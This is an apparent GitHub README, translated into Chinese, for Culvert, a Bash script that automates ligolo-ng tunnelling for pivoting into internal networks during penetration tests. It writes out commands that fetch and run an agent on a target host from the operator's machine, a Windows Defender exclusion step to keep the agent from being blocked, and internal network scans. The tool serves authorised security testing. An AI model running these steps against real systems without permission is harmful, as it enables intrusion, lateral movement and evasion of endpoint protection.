Real-Fruit-Snacks/Culvert

GitHub: Real-Fruit-Snacks/Culvert

一键式 ligolo-ng 隧道搭建工具,自动下载配置并清理,解决内网穿透与横向移动痛点。

Stars: 1 | Forks: 0

Culvert ![Bash](https://img.shields.io/badge/language-Bash-fab387?style=flat-square&labelColor=1e1e2e) ![Platform](https://img.shields.io/badge/platform-Linux-94e2d5?style=flat-square&labelColor=1e1e2e) ![License](https://img.shields.io/badge/license-MIT-cba6f7?style=flat-square&labelColor=1e1e2e) ![Toolkit](https://img.shields.io/badge/toolkit-Real--Fruit--Snacks-a6e3a1?style=flat-square&labelColor=1e1e2e) **在障碍物下进行透视 — 一键 ligolo-ng 隧道搭建。** 自动下载代理与客户端二进制文件,配置 TUN 接口,启动文件服务器用于客户端传输,并提供已填充 IP 的复制粘贴命令。无需 proxychains — 可直接访问目标网络。
## 快速开始 ### 先决条件 - **Linux**(Kali、Ubuntu、Debian)并具有 root/sudo 权限 - **curl**、**jq**、**tar**(用于二进制下载与解压) - **python3**(可选,用于 HTTP 文件服务器) ### 安装 ``` curl -O https://raw.githubusercontent.com/Real-Fruit-Snacks/Culvert/main/culvert.sh chmod +x culvert.sh ``` ### 运行 ``` sudo ./culvert.sh auto ``` 按照屏幕提示传输客户端、连接、选择会话、添加路由并启动隧道。 ### 验证 ``` # 隧道运行后,测试连接 nmap -sV 10.10.10.0/24 # Scan target network ssh user@10.10.10.20 # SSH to internal host curl http://10.10.10.50 # Access internal web server ``` ### 清理 ``` sudo ./culvert.sh cleanup ``` ## 功能特性 ### 一键式设置 运行 `sudo ./culvert.sh auto`,脚本将下载 ligolo-ng 二进制文件,创建 TUN 接口,在 8000 端口启动文件服务器并启动代理。 ``` sudo ./culvert.sh auto ``` ### 自动 IP 检测 按优先级顺序检查 `tun0`、`tun1`、`tap0` 和默认路由,自动检测你的攻击 IP。所有生成的命令均使用你的实际 IP。 ``` # 检测顺序:tun0 -> tun1 -> tap0 -> 默认路由 ``` ### 多平台客户端 下载适用于 Linux(amd64/arm64)、Windows(amd64)和 macOS(arm64)的客户端二进制文件。为每个平台提供传输命令,包括 curl、PowerShell `iwr` 以及 certutil 备用方案。 ``` ./culvert.sh agent-cmd # Show all agent commands ./culvert.sh agent-cmd 10.0.0.1 # With custom IP ``` ### 干净的拆除 按顺序移除所有路由、停止文件服务器与代理,并拆除 TUN 接口。不遗留孤立进程或陈旧路由。 ``` sudo ./culvert.sh cleanup ``` ### 模块化命令 每个操作均可作为独立的子命令运行,以便对设置过程进行细粒度控制。 ``` ./culvert.sh download # Download binaries only sudo ./culvert.sh setup-tun # Create TUN only sudo ./culvert.sh add-route 10.10.10.0/24 ./culvert.sh status # Show current state ``` ### 分步指导 设置完成后,脚本会显示编号步骤及用于客户端传输、连接、会话选择、路由添加和隧道启动的确切命令。 ``` STEP 1: Download agent on target machine curl http://10.10.14.5:8000/ligolo-agent -o /tmp/a && chmod +x /tmp/a STEP 2: Run agent on target /tmp/a -connect 10.10.14.5:11601 -ignore-cert ``` ### 访问客户端自身本地主机 Ligolo-ng 将 `240.0.0.0/4` 视为魔术重定向范围:任何发往 `240.x.x.x` 的数据包都会被转发到客户端的 `127.0.0.1`。一个子命令 会添加 `240.0.0.1/32` 路由,使你能够扫描并访问绑定在客户端回环上的服务 (数据库、管理面板、 stray SSH 等),直接从主机访问: ``` sudo ./culvert.sh localhost # 然后,从任意终端: nmap -sV 240.0.0.1 # scan the agent's local ports curl http://240.0.0.1:8080/ # hit an admin panel bound to 127.0.0.1:8080 ssh user@240.0.0.1 # SSH to the agent itself ``` 详见 [ligolo-ng 本地主机文档](https://docs.ligolo.ng/Localhost/) 获取完整协议细节。 ### WebUI 仪表板 Ligolo-ng 提供一个用于管理客户端、会话和隧道的 Web 仪表板。Culvert 可通过专用子命令或在 `auto` 前设置 `WEBUI=1` 来启用: ``` # 选项 A:仅启动代理 + WebUI(二进制文件和 TUN 已就绪) sudo ./culvert.sh webui # 选项 B:完整自动设置,WebUI 与 CLI 并行启用 WEBUI=1 sudo ./culvert.sh auto # 自定义绑定地址(默认 127.0.0.1:8443) WEBUI_LISTEN=10.10.14.5:8443 WEBUI=1 sudo ./culvert.sh auto ``` 首次启动代理控制台时会提示一次管理员用户名与密码;这些信息会保存在 `~/.ligolo-proxy/` 并在后续运行中重复使用。仪表板随后运行在 `https:///` —— 请在浏览器中打开(自签名 TLS → 预期浏览器警告)。 详见 [ligolo-ng WebUI 文档](https://docs.ligolo.ng/webui/) 获取功能导览。 ## 架构 ``` culvert.sh Single-file setup script (all logic) README.md Documentation LICENSE MIT License ``` 脚本遵循线性执行流程:从 GitHub 发布版下载二进制文件,通过 `ip tuntap` 创建 TUN 接口,启动用于客户端传输的 Python HTTP 文件服务器,然后启动 `ligolo-proxy` 并在退出时触发清理操作。 ## 全部命令 | 命令 | 需 root | 描述 | |------|--------|------| | `auto` | 是 | 完整设置 — 下载、配置、启动代理 | | `cleanup` | 是 | 停止代理与文件服务器,移除路由和 TUN | | `download` | 否 | 下载 ligolo-ng 二进制文件到 `~/.ligolo-ng` | | `setup-tun` | 是 | 创建并激活 TUN 接口 | | `teardown-tun` | 是 | 移除 TUN 接口 | | `proxy [opts]` | 否 | 启动代理(可自定义选项) | | `add-route ` | 是 | 添加路由到 TUN | | `del-route ` | 是 | 从 TUN 移除路由 | | `localhost` | 是 | 添加 `240.0.0.1/32` 路由 — 访问客户端自身的 `127.0.0.1` | | `webui` | 是 | 启动带有 ligolo-ng WebUI 仪表板的代理 | | `agent-cmd [ip]` | 否 | 显示所有平台的客户端命令 | | `status` | 否 | 显示二进制文件、TUN、路由与代理状态 | ## 配置 | 变量 | 默认值 | 描述 | |------|--------|------| | `LIGOLO_DIR` | `~/.ligolo-ng` | 二进制存储目录 | | `TUN_NAME` | `ligolo` | TUN 接口名称 | | `PROXY_PORT` | `11601` | 代理监听端口 | | `WEBUI` | `0` | 在 `auto` 模式中启用 WebUI(`1` 开启) | | `WEBUI_LISTEN` | `127.0.0.1:8443` | WebUI 与 REST API 绑定地址 | ``` PROXY_PORT=443 sudo ./culvert.sh auto LIGOLO_DIR=/opt/ligolo sudo ./culvert.sh download ``` ## 故障排除 **客户端无法连接** — 确保代理端口开放: ``` iptables -I INPUT -p tcp --dport 11601 -j ACCEPT ``` **Windows Defender 阻止客户端** — 下载前添加排除项: ``` Add-MpPreference -ExclusionPath "C:\Users\Administrator\a.exe" ``` **添加路由时连接断开** — 不要将目标网络自身路由到 ligolo。仅路由目标内部网络之后的网络。 **无效的 CIDR 前缀** — 网络地址必须与前缀边界对齐(例如 `10.1.146.0/24`,而非 `10.1.146.5/24`)。 ## 安全 通过 [SECURITY.md](SECURITY.md) 报告漏洞 — 请勿公开提交问题。 Culvert **不**: - 修改 ligolo-ng 源代码或二进制文件 - 存储凭据或敏感数据 - 清理后持久化 - 打开代理端口和文件服务器之外的其他端口 - 绕过任何安全控制 ## 致谢 - [ligolo-ng](https://github.com/nicocha30/ligolo-ng) 作者 Nicolas Chatelain - [官方文档](https://docs.ligolo.ng/) ## 许可证 [MIT](LICENSE) — Copyright 2026 Real-Fruit-Snacks
标签:AD攻击面, ligolo-ng, Linux工具, Real-Fruit-Snacks, SEO: 一键隧道, SEO: 内网穿透工具, SEO: 安全工具包, SEO: 自动化代理, SSH跳转, TUN配置, 云存储安全, 内网穿透, 安全工具集, 应用安全, 横向移动, 水主题安全, 漏洞利用辅助, 端口探测, 端口转发, 编程规范, 网络扫描, 网络转发, 路由管理, 逆向工具, 隧道代理